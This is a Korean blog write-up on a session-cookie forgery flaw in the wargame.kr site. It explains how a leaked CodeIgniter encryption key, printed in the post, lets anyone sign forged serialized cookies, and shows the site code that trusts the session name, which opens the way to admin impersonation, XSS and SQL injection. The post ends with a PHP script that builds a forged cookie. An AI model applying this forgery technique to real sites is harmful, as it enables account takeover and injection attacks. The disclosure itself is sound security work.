반응형

wargame.kr에는 세션인증을 위한 쿠키값 저장에 대한 문제가 있다.


예를 들면 세션을 통해서 게시글을 쓴다던가, name 값을 통해서 어드민의 권한을 검사한다는 점인데,


이건 xss는 물론이고 sql injection까지 가능한 취약점이다.


왜 발생했다면, encryption_key가 노출돼서 자체적으로 인코딩해서 쿠키에 넣어줄 수 있다. (Object injection)


먼저 codeigniter의 session.php를 보자. 경로는 /system/libraries/Session.php 다.


아래의 함수들은 쿠키와 세션을 위한 함수의 코드다.

 

function set_userdata($newdata = array(), $newval = '')
{
	if (is_string($newdata))
	{
	$newdata = array($newdata => $newval);
	}

	if (count($newdata) > 0)
	{
		foreach ($newdata as $key => $val)
		{
			$this->userdata[$key] = $val;
		}
	}

	$this->sess_write();
}
function set_userdata($newdata = array(), $newval = '')
{
	if (is_string($newdata))
	{
		$newdata = array($newdata => $newval);
	}

	if (count($newdata) > 0)
	{
		foreach ($newdata as $key => $val)
		{	
			$this->userdata[$key] = $val;
		}
	}
	$this->sess_write();
}
function sess_write()
{
	// Are we saving custom data to the DB?  If not, all we do is update the cookie
	if ($this->sess_use_database === FALSE)
	{
		$this->_set_cookie();
		return;
	}

	// set the custom userdata, the session data we will set in a second
	$custom_userdata = $this->userdata;
	$cookie_userdata = array();

	// Before continuing, we need to determine if there is any custom data to deal with.
	// Let's determine this by removing the default indexes to see if there's anything left in the array
	// and set the session data while we're at it
	foreach (array('session_id','ip_address','user_agent','last_activity') as $val)
	{
		unset($custom_userdata[$val]);
		$cookie_userdata[$val] = $this->userdata[$val];
	}

	// Did we find any custom data?  If not, we turn the empty array into a string
	// since there's no reason to serialize and store an empty array in the DB
	if (count($custom_userdata) === 0)
	{
		$custom_userdata = '';
	}
	else
	{
		// Serialize the custom data array so we can store it
		$custom_userdata = $this->_serialize($custom_userdata);
	}

	// Run the update query
	$this->CI->db->where('session_id', $this->userdata['session_id']);
	$this->CI->db->update($this->sess_table_name, array('last_activity' => $this->userdata['last_activity'], 'user_data' => $custom_userdata));

	// Write the cookie.  Notice that we manually pass the cookie data array to the
	// _set_cookie() function. Normally that function will store $this->userdata, but
	// in this case that array contains custom data, which we do not want in the cookie.
	$this->_set_cookie($cookie_userdata);
}
function _set_cookie($cookie_data = NULL)
{
	if (is_null($cookie_data))
	{
		$cookie_data = $this->userdata;
	}

	// Serialize the userdata for the cookie
	$cookie_data = $this->_serialize($cookie_data);

	if ($this->sess_encrypt_cookie == TRUE)
	{
		$cookie_data = $this->CI->encrypt->encode($cookie_data);
	}

	// $this->encryption_key = Th1s1sEncrypt10nkey
	$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);

	$expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();

	// Set the cookie

	setcookie(
		$this->sess_cookie_name,
		$cookie_data,
		$expire,
		$this->cookie_path,
		$this->cookie_domain,
		$this->cookie_secure
	);
}


호출 순서는 


set_userdata -> sess_write -> _set_cookie 순서고 설명이 필요할 듯하다.


먼저 set_userdata로 쿠키가 생성될 때 set_userdata함수에서 private영역의 userdata 변수에 데이터를 저장하고


sess_write함수를 호출해준다.


sess_write에서는 세션ID를 DB에 저장할 때와 아닐때로 나뉘는데 wargame.kr은 db에 따로 저장하지 않기때문에 바로 _set_cookie함수를 


호출해준다.


마지막의  _set_cookie함수는 $cookie_data에 데이터를 userdata를 넣어주고 serialize해준다.


sess_encrypt_cookie일 때 encode해주긴 하는데 false였기에 바로 넘어간다.


보다시피 쿠키값에다 sha1에 salt를 지정해줘서 해시화를 시키고 있으니 encryption_key의 값을 알 필요가 있는데,


config.php에 있으니까 참조하길 바란다.


그 다음에 쿠키 expire를 지정해주고 setcookie를 해준다.


여기까지는 아무 문제 없다고 생각은 하지만


정작 wargame.kr소스코드를 보게 되면


[ wargamekr_helper.php ]
function is_admin(){
	$admin_list = ['bughela'];
	$CI = &get_instance();
	if (!is_logged_in()) return false;
	if (!in_array($CI->session->userdata('name'), $admin_list)) return false;
	return true;
}

[ main_model.php ]
function chat($chat = ''){
	$chat = trim($chat);
	if ($chat == '') return false;
	if (!is_logged_in()) return false;

	$name = $this->session->userdata('name');
	$chat = [
		'name' => $name,
		'chat' => $chat,
		'reg_date' => date('Y-m-d H:i:s', time()),
		'reg_ip' => $this->input->ip_address()
	];

	$this->db->insert('chat_log', $chat);

	$result = $this->db
		->where('name', $name)
		->from('chat_log')
		->count_all_results();

	if ($result > 100){
		$this->load->model("achievement_model", "achievement");
		$this->achievement->take("chatterbox");
	}
}

[ board_model.php ]
function write($input){
	if (!is_logged_in()) return false;
	$data = [
		'title' => htmlspecialchars($input['title']),
		'secret' => $input['secret'],
		'contents' => htmlspecialchars($input['contents']),
		'writer' => $this->session->userdata('name'),
		'reg_date' => date('Y-m-d H:i:s', time()),
		'reg_ip' => $this->input->ip_address()
	];
	
	$result = $this->db->insert('board', $data);
	$name = $this->session->userdata('name');
	$result = $this->db
	->where('writer', $name)
	->from('board')
	->count_all_results();
	
	if ($result == 10) {
		$this->achievement->take("BBS mania");
	}
}

[ board_model.php ]
function write_reply($contents, $idx = 0){
	if (!is_logged_in()) return false;
	$contents = trim($contents);
	if ($contents == "") return false;

	$idx = intval($idx);
	$result = $this->db
		->select('idx')
		->where('secret', 0)
		->or_where('writer', $this->session->userdata('name'))
		->where('idx', $idx)
		->get('board');
	if ($result->row()->idx != 1) return false;
	
	$data = [
		'contents' => htmlspecialchars($contents),
		'pidx' => $idx,
		'writer' => $this->session->userdata('name'),
		'reg_date' => date("Y-m-d H:i:s"),
		'reg_ip' => $this->input->ip_address()
	];
	
	$this->db->insert('board_reply', $data);
	$name = $this->session->userdata('name');
	
	$result = $this->db
		->where('writer', $name)
		->from('board_reply')
		->count_all_results();
	if ($result == 50) {
		//$this->achievement->take($name, "");
	}
}


등등의 함수들에서 xss 및 sql injection이 성공한다.


아래는 쿠키값의 조작을 위해 직접 만든 소스코드다.


$arr = array(
	"session_id" => md5("hoho"),
	"ip_address" => "127.0.0.1",
	"user_agent" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
	"last_activity" => time(),
	"user_data" => null,
	"name" => "KuroNeko",
	"email" => "nyanpasu@naver.com",
	"lang" => "kor",
	"achievement" => "sewer brew",
	"point" => 99999
);

$ser_arr = serialize($arr);

$encryption_key = "Th1s1sEncrypt10nkey";
$ser_arr .= hash_hmac('sha1', $ser_arr, $encryption_key);

echo urlencode($ser_arr);


아 물론 지금은 키값이 패치된 상태라 이 소스를 써도 안된다.

'Write up > Wargame' 카테고리의 다른 글

[PlayTheWeb] writeup  (0) 2019.09.16
LFH 문제 분석한 거  (0) 2016.12.13
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,